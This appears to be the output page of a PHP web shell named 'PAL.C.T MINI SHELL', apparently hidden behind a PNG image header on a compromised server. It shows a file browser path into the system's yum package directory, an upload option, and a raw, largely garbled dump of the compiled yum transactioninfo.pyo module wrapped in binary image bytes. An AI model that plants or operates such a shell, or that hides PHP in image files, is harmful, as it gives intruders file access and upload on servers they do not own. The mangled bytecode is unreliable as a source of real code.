php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/transactioninfo.pyo

[c
@sdZddkTddklZlZddklZddklZddk	Z	ddk
Z
ddkZdefdYZd	fd
YZ
de
fdYZd
e
fdYZdfdYZdS(sK
Classes and functions for manipulating a transaction to be passed
to rpm.
i(t*(tPackageSacktPackageSackVersion(tYumInstalledPackage(tYumAvailablePackageSqliteNtGetProvReqOnlyPackageSackcBsAeZedZdZdZdZdZdZRS(cCsti|||_dS(N(Rt__init__t_need_index_files(tselft
need_files((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyR&s
cCsWxP|idtD]<}x3|i|dtD]}|i|i||q/WqWdS(Ntprimary_only(treturnFileTypestTruetreturnFileEntriest_addToDictAsListt	filenames(Rtobjtftypetfile((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt!__addPackageToIndex_primary_files*s
cCsKxD|iD]6}x-|i|D]}|i|i||q#Wq
WdS(N(RR
RR(RRRR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt__addPackageToIndex_files.s

cCsx?|idD].\}}\}}}|i|i||qWx?|idD].\}}\}}}|i|i||qRW|io|i|n|i|dS(Ntprovidestrequires(t
returnPrcoRRRRt3_GetProvReqOnlyPackageSack__addPackageToIndex_filest;_GetProvReqOnlyPackageSack__addPackageToIndex_primary_files(RRtntfltetvtr((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt_addPackageToIndex2s
cCs=x6|iD]+}x"|i|D]}|i|qWq
WdS(N(t
pkgsByRepoR(RtrepoidR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt__buildFileIndexes<s

cCsZ|io?ti|o.t|_|ioh|_|iqJnti||S(N(	Rtmisctre_primary_filenameRtindexesBuiltRt,_GetProvReqOnlyPackageSack__buildFileIndexesRtsearchFiles(Rtname((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyR'@s	
	(	t__name__t
__module__tFalseRRRRR&R'(((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyR%s			
	tTransactionDatac	BseZdZdZdZdZdZeddddd	d
ddZd
Z	d.d.dZd.dZdZ
dZedZd.d.d.d.d.dZd.d.d.d.d.dZdZdZdZdZdZdZdZeedZdZdZdZd.d Zd!Zd"Z d#Z!d$Z"d.d%Z#d.d/d&Z$d.d0d'Z%d.d1d(Z&d.d2d)Z'd.d3d*Z(d.d4d+Z)d,Z*d-Z+RS(5sDData Structure designed to hold information on a yum Transaction SetcCsg|_g|_g|_d|_h|_h|_t|_d|_t	|_
g|_d|_h|_
d|_d|_d|_d|_t|_t|_g|_g|_g|_g|_g|_g|_g|_g|_g|_g|_ g|_!dS(Nt/i("tflagstvsflagstprobFilterFlagstroottpkgdictt	_namedicttsett_unresolvedMemberstdebugR+tchangedtinstallonlypkgst
state_countertconditionalstNonetrpmdbt_pkgSackt_pkgSackCtortpkgSackPackagesRt	localSackRt_inSackt
instgroupst
removedgroupstremovedt	installedtupdatedt	obsoletedt
depremovedtdepinstalledt
depupdatedtreinstalledt
downgraded(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRKs:																									cCs
t|iS(N(tlenR2(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt__len__mscCs;t|ido|iiSt|iSdS(Nt__iter__(thasattrt
getMembersROtiter(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyROpscCsB|idj	o|iS|idj	o|i|_n|iS(N(R=R;R>(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt_getPkgSackvs
tfgetcCs
|iS((RS(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt<lambda>}stfsetcCst|d|S(R=(tsetattr(Rtvalue((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRU~stfdelcCst|ddS(R=N(RWR;(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRUstdocsPackage sack objectcCs|io	|GHndS(N(R6(Rtmsg((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt
debugprints
cstfd|i|S(Ncs
|ijS((toutput_state(tp(t
output_states(s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRUs(tfilterRQ(RtpkgtupR_((R_s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetMembersWithStatescCsjg}|djo+xP|iiD]}|i|q#Wn)||ijo|i|i|n|S(stakes an optional package tuple and returns all transaction members 
           matching, no pkgtup means it returns all transaction membersN(R;R2t
itervaluestextend(RRat
returnlisttmembers((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRQs
cCstt|iS(N(tlisttsortedR5(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetUnresolvedMembersscCs|ii|dS(N(R5tdiscard(Rttxmbr((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytmarkAsResolvedscCsO|pt|t|ijo(|ii|ii|itStS(N(RMR5tcleartupdateRQRR+(Rthard((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt
resetResolveds
#
c	Cs|id|d|d|d|d|}t|pd	Sg}x|D]}|i|iqIWd|jodSd|jodS|dSd	S(
sareturns the mode of the first match from the transaction set, 
           otherwise, returns NoneR(tarchtepochtvertreltutiiN(t
matchNaevrRMR;tappendtts_state(	RR(RqRrRsRtttxmbrststatesRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetModes*


cCs0|djo|i}nP|ii|g}|djo-|djo |djo|djo|Sg}x|D]}|i\}	}
}}}
|dj	o||
joqyn|dj	o||joqyn|dj	o||joqyn|dj	o||
joqyn|i|qyW|S(s4returns the list of packages matching the args aboveN(R;RQR3tgetRaRx(RR(RqRrRsRtRztresultRkRtaRRR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRws&
4c	Cs|i|}|pG|idd}t|djo|i|d|d}q]n|p|idj	o|iid|g}n3|idjo
g}n|iid|g}|p|iid|g}nxv|D]j}|i|i	|i
xH|iiD]7\}}||jo|i
|||i|<qqWqWnx|D]}|i
|i
qeW|S(s Remove these packages from the transaction. This is more user
            orientated than .remove(). Used from kickstart/install -blah. t.iiitpatternsN(RwtrsplitRMRAR;treturnPackagestpkgSackR<RdRQRaR:t	iteritemstremove(	RtpatternRztnatpkgstpkgtreqtcpkgsRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytdeselects2"


cCs'|idjot|ittfS(NRuRv(RuRv(Ryt
isinstancetpoRR(Rttxmember((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt_isLocalPackagescsC|iijotS|i}tfd|otStS(stakes a packageObject, returns 1 or 0 depending on if the package 
           should/can be installed multiple times with different vers
           like kernels and kernel modules, for examplecs
|ijS((R8(tprov(R(s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRUs(R(R8Rtprovides_namesR`R+(RRR((Rs7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt_allowedMultipleInstallss	c	Cs$x$|iD]}|i||iq
W|i|ijog|i|i<nU|id|ix=|i|iD]+}|i|ijo|iddSqsW|i|ii||ii	|i
gi|t|_|i
d7_
|i|o|ii|in't|ito|id7_n|idj	oD|itjo4|iip
d|_q|ii|in|i
|ijolxi|i|i
D]S}|iid|oqnx-|id|D]}|id|iqWqWn|ii|dS(s add a package to the transactions'Package: %s.%s - %s:%s-%s already in tssPackage in same mode, skipping.NiR( tupdatest
addUpdatedRRaR2R\RyRxR3t
setdefaultR(RR7R9RR@t
addPackageRRR?RAR;R]tTS_INSTALL_STATESthave_fastReturnFileEntriesR:R<tcontainstinstall_methodtsetAsDepR5tadd(RRtoldpotmemberRt	condtxmbr((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs@

		 
cCsB||ijo|id|fdSx|i|D]}d|i_|i|o|ii|in't|it	o|i
d8_
n|idj	o'|it
jo|ii|in|i|ii||ii|q7W|i|=|i|dp|i|d=nt|_|id7_dS(s%remove a package from the transactionsPackage: %s not in tsNii(R2R\R;RtstateRR@t
delPackageRRR?RAR]RR3R(RR5RRR7R9(RRaRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyR1s& 
	cCs7||ijo#t|i|djodSndS(s tells if the pkg is in the classii(R2RM(RRa((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytexistsGs	cCsJ|i|o6x3|id|D]}|itjotSq#WntS(s,true if the pkgtup is marked to be obsoletedRa(RRQR]tTS_OBSOLETEDRR+(RRaRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytisObsoletedOs
cCsAg|_g|_g|_g|_g|_g|_g|_g|_g|_g|_	g|_
g|_x2|iD]$}|i
tjo2|io|ii|q|ii|qy|i
ttfjo|o!|io|i	i|qyn|o!|io|i
i|qyn|io<x9|iD]*}||ijo|ii|q;q;Wn|io|ii|q|ii|qy|i
tjo|o|ioqynx5|iD]*}||ijo|ii|qqW|io|ii|q|ii|qy|i
tjo|ii|qy|i
tjo|ii|qy|i
tjo|ii|qyqyW|ii|ii|ii|ii|ii|ii|ii|ii|ii|i	i|i
i|iidS(sreturns lists of transaction Member objects based on mode:
           updated, installed, erased, obsoleted, depupdated, depinstalled
           deperasedN(RBRCRDRERFRGRHRIRJRKRLtfailedRQR]t	TS_UPDATEtisDepRxt
TS_INSTALLtTS_TRUEINSTALLt	reinstallt
downgradestgroupstTS_ERASEt
downgraded_byRt
TS_OBSOLETINGt	TS_FAILEDtsort(Rtinclude_reinstalltinclude_downgradeRktg((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt	makelistsXs|												

















cCs|i|o|i|St|}t|_t|_t|i_d|_	d|_
|iid|io
t
|_n|i||i||S(sadds a package as an install but in mode 'u' to the ts
           takes a packages object and returns a TransactionMember ObjectRutuserR(RtaddTrueInstalltTransactionMembertTS_AVAILABLEt
current_stateRR]RRRytreasonR<RRRtfindObsoletedByThisMemberR(RRRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt
addInstalls				


cCsst|}t|_t|_t|i_d|_d|_	|i
id|io
t|_
n|i||S(sfadds a package as an install
           takes a packages object and returns a TransactionMember ObjectRvRR(RRRRR]RRRRyRR<RRRR(RRRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs				

cCsDt|}t|_t|_t|i_d|_|i||S(sfadds a package as an erasure
           takes a packages object and returns a TransactionMember ObjectR(	RRRRR]RRRyR(RRRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytaddErases			
cCs|i|o|i|St|}t|_t|_t|i_d|_	|o*|i
i|df|ii|n|i
||i||S(seadds a package as an update
           takes a packages object and returns a TransactionMember ObjectRuR(RRRRRRR]RRRyt	relatedtoRxRRR(RRRRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt	addUpdates			

cCs|i|}|ii|df|ii||i|}|p|i|idS|ii|df|ii|||fS(sqadds a package as an downgrade takes a packages object and returns
           a pair of TransactionMember ObjectstdowngradedbyRN(	RRRxRRRRaR;R(RRRtitxmbrtatxmbr((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytaddDowngradescCsjt|}t|_t|_t|i_d|_|ii	|df|i
i	||i||S(sxadds a package as being updated by another pkg
           takes a packages object and returns a TransactionMember Objecttudt	updatedby(RRRt
TS_UPDATEDR]RRRyRRxt
updated_byR(RRtupdating_poRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs			
cCst|}t|_t|_t|i_d|_|ii	|df|i
i	||iid|io
t
|_n|i||S(sxadds a package as an obsolete over another pkg
           takes a packages object and returns a TransactionMember ObjectRut	obsoletesR(RRRRR]RRRyRRxRR<RRRR(RRRRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt
addObsoleting
s			

cCst|}t|_t|_t|i_d|_|ii	|df|i
i	||i|x]|i|i
tgD]C}||ijoqn|ii	|df|ii	|qW|S(szadds a package as being obsoleted by another pkg
           takes a packages object and returns a TransactionMember ObjecttodtobsoletedbyR(RRRRR]RRRyRRxtobsoleted_byRRbRaRR(RRt
obsoleting_poRktotxmbr((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytaddObsoleteds 			

cCs||_||_||_dS(N(R<R=R>(RR<RtpkgSackCtor((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytsetDatabases4s		cCsh}|ipn|idjoWx|ii|||iD]0\}}|i|ito|||<qCqCWn:x6|ii|||iD]\}}|||<qW|i	|i
i||||S(sbreturn dict { packages -> list of matching provides }
        searches in packages to be installedN(R?RAR;RtgetProvidesRRbRaRRnR@(RR(tflagtversionR~Rthits((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetNewProvides9s
cCs]h}xP|ii|||iD]0\}}|i|itp|||<q%q%W|S(sreturn dict { packages -> list of matching provides }
        searches in packages already installed and not going to be removed(R<RRRbRatTS_REMOVE_STATES(RR(RRR~RR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetOldProvidesIscCs5|i|||}|i|i||||S(s5return dict { packages -> list of matching provides }(RRnR(RR(RRR~((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRRscCsh}|ipn|idjoWx|ii|||iD]0\}}|i|ito|||<qCqCWn:x6|ii|||iD]\}}|||<qW|i	|i
i||||S(sbreturn dict { packages -> list of matching provides }
        searches in packages to be installedN(R?RAR;RtgetRequiresRRbRaRRnR@(RR(RRR~RR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetNewRequiresXs
cCs]h}xP|ii|||iD]0\}}|i|itp|||<q%q%W|S(sreturn dict { packages -> list of matching provides }
        searches in packages already installed and not going to be removed(R<RRRbRaR(RR(RRR~RR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytgetOldRequiresjscCs5|i|||}|i|i||||S(s5return dict { packages -> list of matching provides }(RRnR(RR(RRR~((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRssc	Cs|ii}h}xK|idtD]7}|io|i||ii<n|i|iq(W|ii	t
}g}xt|D]}|idjo9|i
}|i|||i|i|fqn|i|itoqn|i|joqn|i}d}d|jo#d|jo|i|if}n|i|i|f|i||qW|ii||S(s Return a simple version for the future rpmdb. Works like
            rpmdb.simpleVersion(main_only=True)[0], but for the state the rpmdb
            will be in after the transaction. REt
checksum_typet
checksum_dataN(R<RRbR;RRRRaRxtpreloadPackageChecksumsRRhR!treturnIdSumRnRt
yumdb_infoRRt transactionCachePackageChecksums(	RRt_reinstalled_pkgtupsRktmaintpkg_checksum_tupsRtcsumtydbi((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pytfutureRpmDBVersionys:

	
	cCs}xv|iiD]h}x_|iid|D]H}|i|igo,|i||it|_t|i_q)q)Wq
WdS(s>addObsoleted() pkgs for anything that this txmbr will obsoleteR(N(	Rtobsoletes_namesR<tsearchNevratobsoletedByRRR]R(RRktobs_nR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs
	N(NNN(NNN(NNN(NNN(NNN(NNN(,R)R*t__doc__RRNRORStpropertyRR\R;RbRQRiRlR+RpR|RwRRRRRRRRRRRRRRRRRRRRRRRRR(((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyR,IsT	"										#			&				O										-tConditionalTransactionDatacBseZdZdZRS(s<A transaction data implementing conditional package additioncCs$tidtiti|dS(NsCConditionalTransactionData will go away in a future version of Yum.(twarningstwarntErrorstYumFutureDeprecationWarningR,R(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs	
(R)R*RR(((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRstSortableTransactionDatacBsDeZdZdZdZdZdZdZdZRS(s@A transaction data implementing topological sort on it's memberscCs,g|_g|_g|_ti|dS(N(t_sortedtpathtloopsR,R(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs			cCs|ii|it|_xo|iD]d}|id|id}|itjo|i|in|it	jo|i
|q&q&Wt|_|ii
d|idS(NRai(RRxR(tTX_GREYt
sortColourt
depends_onRQRat_doLooptTX_WHITEt_visittTX_BLACKRtinsert(RRkRtvertex((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs	
	cCs[|ii||i|ii|id}t|djo|ii|ndS(Nii(RRxtindexRMR(RR(tloop((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs cCs&t|_ti||g|_dS(N(RRR,RR(RR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs	cCsti||g|_dS(N(R,RR(RRa((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRscCsp|io|iSg|_x>|iD]0}|itjog|_|i|q(q(W|ii|iS(N(RRQRRRRtreverse(RRk((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs
	
	
(	R)R*RRRRRRR(((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs						RcBsPeZdZdZddZdZdZdZdZ	dZ
RS(	sVClass to describe a Transaction Member (a pkg to be installed/
       updated/erased).cCs5||_d|_d|_d|_d|_d|_d|_g|_g|_	g|_
g|_g|_g|_
g|_g|_t|_g|_ddddddd	g|_x3|iD](}t|i|}t|||qW|id
jo4|iid|iid|iid
ndS(NiRRaR!R(RqRrRtreleaseREt	from_repot
releasevert
changed_by(RR;RRyR]RRtprocessRRRRRRRRR+RRt_poattrtgetattrRWR!RR}(RRtattrtval((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs6																	
cCs>d|_|o*|ii|df|ii|ndS(slsets the transaction member as a dependency and maps the dep into the
           relationship list attributeit	dependsonN(RRRxR(RR((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs	cCst|i|iS(N(tcmpR(Rtother((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt__cmp__scCs
ti|S(N(tobjectt__hash__(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRscCs,d|i|i|i|i|i|ifS(Ns%s.%s %s:%s-%s - %s(R(RqRrRRRy(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt__str__ scCs)d|iit|tt|fS(Ns<%s : %s (%s)>(t	__class__R)tstrthextid(R((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt__repr__$scCsd|i|i|i|i|i|if}|d|iii7}|d|i	7}|d|i
7}|dt|i7}|d|i
7}|dt|i7}|io|d7}xi|iD]^\}}d	}t|to
d
}n|d|i|i|i|i|i||f7}qW|d7}nxd
ddddddgD]}t||}|o||d|7}x]|D]U}d	}t|to
d
}n|d|i|i|i|i|i|f7}qW|d7}qPqPW|io|ddi|i7}n|S(Nsmbr: %s,%s,%s,%s,%s %s
s  repo: %s
s  ts_state: %s
s  output_state: %s
s  isDep: %s
s
  reason: %s
s  reinstall: %s
s  relatedto:RRvs %s,%s,%s,%s,%s@%s:%ss
RRRRRRRs  %s:s %s,%s,%s,%s,%s@%ss
  groups: %s
t (R(RqRrRRRRtrepoRRyR]tboolRRRRRRR
Rtjoin(RR[RRtt	pkgorigintlsttthislist((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt_dump'sF






N(R)R*RRR;RRRRRR#(((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyRs	"					(Rt	constantstpackageSackRRtpackagesRt
sqlitesackRRRR#RR,RRR(((s7/usr/lib/python2.6/site-packages/yum/transactioninfo.pyt<module>s
$j3
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`